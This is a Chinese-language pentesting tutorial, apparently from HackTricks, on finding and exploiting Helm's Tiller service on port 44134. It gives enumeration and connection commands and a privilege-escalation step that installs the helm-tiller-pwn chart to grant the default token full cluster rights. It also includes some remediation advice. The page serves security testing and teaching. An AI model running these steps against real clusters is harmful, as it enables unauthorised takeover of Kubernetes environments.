从零开始学习AWS黑客技术,成为 htARTE (HackTricks AWS红队专家) 支持HackTricks的其他方式: * 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
# 基本信息 Helm是Kubernetes的**包管理器**。它允许打包YAML文件并在公共和私有仓库中分发它们。这些包被称为**Helm图表**。**Tiller**是默认在端口44134**运行**的**服务**,提供服务。 **默认端口:**44134 ``` PORT STATE SERVICE VERSION 44134/tcp open unknown ``` # 枚举 如果您能够**枚举不同命名空间的 pods 和/或服务**,请枚举它们,并搜索名称中含有 **"tiller"** 的服务: ```bash kubectl get pods | grep -i "tiller" kubectl get services | grep -i "tiller" kubectl get pods -n kube-system | grep -i "tiller" kubectl get services -n kube-system | grep -i "tiller" kubectl get pods -n | grep -i "tiller" kubectl get services -n | grep -i "tiller" ``` ```markdown # 渗透测试 Tiller (Helm 的服务器端组件) Tiller 是 Helm 的服务器端组件,它在 Kubernetes 集群中运行,并允许用户通过 Helm 客户端与集群交互。如果未正确配置,Tiller 可能会暴露敏感信息或允许未经授权的用户执行命令。 ## 发现 Tiller 要发现集群中的 Tiller 服务,可以使用以下命令: ``` kubectl --namespace kube-system get pods | grep tiller ``` 这将列出 kube-system 命名空间中的所有 Tiller pod。 ## 利用 Tiller 如果 Tiller 服务未正确配置,攻击者可能能够部署恶意图表或修改现有图表。以下是一些可能的攻击场景: - **读取敏感信息**: 攻击者可以尝试读取 Tiller 服务的环境变量或配置文件,以获取敏感信息。 - **未经授权的命令执行**: 如果 Tiller 服务允许未经授权的用户执行命令,攻击者可以利用这一点来执行恶意操作。 ## 修复建议 为了保护 Tiller 服务,应该采取以下措施: - 确保 Tiller 仅在需要时运行,并且仅由授权用户访问。 - 使用 RBAC (基于角色的访问控制) 限制对 Tiller 的访问。 - 定期检查 Tiller 的配置和权限,确保没有不当的权限设置。 通过采取这些预防措施,可以减少 Tiller 服务被攻击的风险。 ``` ```bash kubectl get pods -n kube-system NAME READY STATUS RESTARTS AGE kube-scheduler-controlplane 1/1 Running 0 35m tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m kubectl get services -n kube-system NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE kube-dns ClusterIP 10.96.0.10 53/UDP,53/TCP,9153/TCP 35m tiller-deploy ClusterIP 10.98.57.159 44134/TCP 35m ``` 您还可以尝试检查端口44134来查找此服务是否正在运行: ```bash sudo nmap -sS -p 44134 ``` 一旦发现服务,您可以通过下载客户端 helm 应用程序与之通信。您可以使用像 `homebrew` 这样的工具,或查看[**官方发布页面**](https://github.com/helm/helm/releases)**。** 更多详情,或其他选项,请参阅[安装指南](https://v2.helm.sh/docs/using_helm/#installing-helm)。 然后,您可以**枚举服务**: ``` helm --host tiller-deploy.kube-system:44134 version ``` ## 权限提升 默认情况下,**Helm2** 安装在具有**高权限**的 **namespace kube-system** 中,所以如果你找到了该服务并且能够访问它,这可能允许你**提升权限**。 你需要做的就是安装像这样的包:[**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn),它将给予**默认服务令牌访问整个集群中的所有内容。** ``` git clone https://github.com/Ruil1n/helm-tiller-pwn helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn /pwnchart ``` 在[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)中你可以找到**攻击的解释**,但基本上,如果你阅读_helm-tiller-pwn/pwnchart/templates/_中的[**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml)和[**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)文件,你可以看到**所有权限都被赋予了默认token**。
从零开始学习AWS黑客攻击直到成为英雄,通过 htARTE (HackTricks AWS Red Team Expert)! 其他支持HackTricks的方式: * 如果你想在**HackTricks中看到你的公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。